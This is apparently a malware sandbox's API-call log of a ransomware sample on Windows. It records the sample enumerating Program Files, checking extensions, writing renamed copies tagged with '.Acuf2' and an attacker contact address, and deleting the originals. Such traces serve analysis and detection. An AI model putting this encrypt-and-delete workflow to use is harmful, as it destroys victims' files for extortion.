	[0250.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.571] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2526) returned 1
	[0250.571] CloseHandle (hObject=0x320) returned 1
	[0250.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20
	[0250.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.571] lstrlenW (lpString=".doc") returned 4
	[0250.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.571] lstrlenW (lpString=".docx") returned 5
	[0250.571] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0250.571] lstrlenW (lpString=".pdf") returned 4
	[0250.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.571] lstrlenW (lpString=".xls") returned 4
	[0250.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.571] lstrlenW (lpString=".xlsx") returned 5
	[0250.571] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0250.571] lstrlenW (lpString=".ppt") returned 4
	[0250.571] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.571] lstrlenW (lpString=".zip") returned 4
	[0250.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.571] lstrlenW (lpString=".rar") returned 4
	[0250.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString=".bz2") returned 4
	[0250.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString=".7z") returned 3
	[0250.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString=".dbf") returned 4
	[0250.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString=".1cd") returned 4
	[0250.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString=".jpg") returned 4
	[0250.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString=".doc") returned 4
	[0250.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString=".docx") returned 5
	[0250.572] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0250.572] lstrlenW (lpString=".pdf") returned 4
	[0250.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString=".xls") returned 4
	[0250.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString=".xlsx") returned 5
	[0250.572] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0250.572] lstrlenW (lpString=".ppt") returned 4
	[0250.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.572] lstrlenW (lpString=".zip") returned 4
	[0250.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.573] lstrlenW (lpString=".rar") returned 4
	[0250.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.573] lstrlenW (lpString=".bz2") returned 4
	[0250.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.573] lstrlenW (lpString=".7z") returned 3
	[0250.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.573] lstrlenW (lpString=".dbf") returned 4
	[0250.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.573] lstrlenW (lpString=".1cd") returned 4
	[0250.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0250.573] lstrlenW (lpString=".jpg") returned 4
	[0250.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.573] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.573] lstrlenW (lpString="ipsjpn.xml") returned 10
	[0250.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.573] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2522) returned 1
	[0250.573] CloseHandle (hObject=0x320) returned 1
	[0250.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20
	[0250.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.574] lstrlenW (lpString=".doc") returned 4
	[0250.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString=".docx") returned 5
	[0250.574] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0250.574] lstrlenW (lpString=".pdf") returned 4
	[0250.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString=".xls") returned 4
	[0250.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString=".xlsx") returned 5
	[0250.574] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0250.574] lstrlenW (lpString=".ppt") returned 4
	[0250.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.574] lstrlenW (lpString=".zip") returned 4
	[0250.574] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.574] lstrlenW (lpString=".rar") returned 4
	[0250.574] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString=".bz2") returned 4
	[0250.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString=".7z") returned 3
	[0250.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.574] lstrlenW (lpString=".dbf") returned 4
	[0250.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.574] lstrlenW (lpString=".1cd") returned 4
	[0250.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString=".jpg") returned 4
	[0250.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString=".doc") returned 4
	[0250.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString=".docx") returned 5
	[0250.575] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0250.575] lstrlenW (lpString=".pdf") returned 4
	[0250.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString=".xls") returned 4
	[0250.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString=".xlsx") returned 5
	[0250.575] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0250.575] lstrlenW (lpString=".ppt") returned 4
	[0250.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString=".zip") returned 4
	[0250.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.575] lstrlenW (lpString=".rar") returned 4
	[0250.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString=".bz2") returned 4
	[0250.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString=".7z") returned 3
	[0250.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString=".dbf") returned 4
	[0250.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.575] lstrlenW (lpString=".1cd") returned 4
	[0250.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0250.576] lstrlenW (lpString=".jpg") returned 4
	[0250.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.576] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.576] lstrlenW (lpString="ipskor.xml") returned 10
	[0250.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.576] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2568) returned 1
	[0250.576] CloseHandle (hObject=0x320) returned 1
	[0250.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20
	[0250.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0250.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0250.576] lstrlenW (lpString=".doc") returned 4
	[0250.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.576] lstrlenW (lpString=".docx") returned 5
	[0250.576] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0250.576] lstrlenW (lpString=".pdf") returned 4
	[0250.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.576] lstrlenW (lpString=".xls") returned 4
	[0250.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.577] lstrlenW (lpString=".xlsx") returned 5
	[0250.577] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0250.577] lstrlenW (lpString=".ppt") returned 4
	[0250.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0250.577] lstrlenW (lpString=".zip") returned 4
	[0250.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.577] lstrlenW (lpString=".rar") returned 4
	[0250.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.577] lstrlenW (lpString=".bz2") returned 4
	[0250.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.577] lstrlenW (lpString=".7z") returned 3
	[0250.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0250.577] lstrlenW (lpString=".dbf") returned 4
	[0250.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0252.067] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0252.067] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.068] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0253.529] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3251) returned 1
	[0253.529] CloseHandle (hObject=0x330) returned 1
	[0253.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20
	[0253.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0253.613] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.613] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0253.614] GetLastError () returned 0x0
	[0253.614] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xcb3, lpOverlapped=0x0) returned 1
	[0253.721] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xcc0, lpOverlapped=0x0) returned 1
	[0253.722] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.722] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.722] SetEndOfFile (hFile=0x33c) returned 1
	[0253.722] CloseHandle (hObject=0x33c) returned 1
	[0253.722] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.722] SetEndOfFile (hFile=0x32c) returned 1
	[0254.023] CloseHandle (hObject=0x32c) returned 1
	[0254.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1
	[0254.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.055] lstrlenW (lpString=".doc") returned 4
	[0254.055] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.055] lstrlenW (lpString=".docx") returned 5
	[0254.055] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.055] lstrlenW (lpString=".pdf") returned 4
	[0254.056] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.056] lstrlenW (lpString=".xls") returned 4
	[0254.056] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.056] lstrlenW (lpString=".xlsx") returned 5
	[0254.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.056] lstrlenW (lpString=".ppt") returned 4
	[0254.056] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.056] lstrlenW (lpString=".zip") returned 4
	[0254.056] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.056] lstrlenW (lpString=".rar") returned 4
	[0254.056] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.056] lstrlenW (lpString=".bz2") returned 4
	[0254.056] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.056] lstrlenW (lpString=".7z") returned 3
	[0254.056] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.056] lstrlenW (lpString=".dbf") returned 4
	[0254.056] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.056] lstrlenW (lpString=".1cd") returned 4
	[0254.056] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.057] lstrlenW (lpString=".jpg") returned 4
	[0254.057] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.057] lstrlenW (lpString=".doc") returned 4
	[0254.057] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.057] lstrlenW (lpString=".docx") returned 5
	[0254.057] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.057] lstrlenW (lpString=".pdf") returned 4
	[0254.057] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString=".xls") returned 4
	[0254.057] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString=".xlsx") returned 5
	[0254.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.057] lstrlenW (lpString=".ppt") returned 4
	[0254.057] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.057] lstrlenW (lpString=".zip") returned 4
	[0254.057] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString=".rar") returned 4
	[0254.057] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.057] lstrlenW (lpString=".bz2") returned 4
	[0254.057] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.057] lstrlenW (lpString=".7z") returned 3
	[0254.057] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.057] lstrlenW (lpString=".dbf") returned 4
	[0254.058] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.058] lstrlenW (lpString=".1cd") returned 4
	[0254.058] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63
	[0254.058] lstrlenW (lpString=".jpg") returned 4
	[0254.058] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.058] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.058] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0254.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.058] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7583) returned 1
	[0254.058] CloseHandle (hObject=0x330) returned 1
	[0254.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20
	[0254.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.059] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.059] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.065] GetLastError () returned 0x0
	[0254.065] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1d9f, lpOverlapped=0x0) returned 1
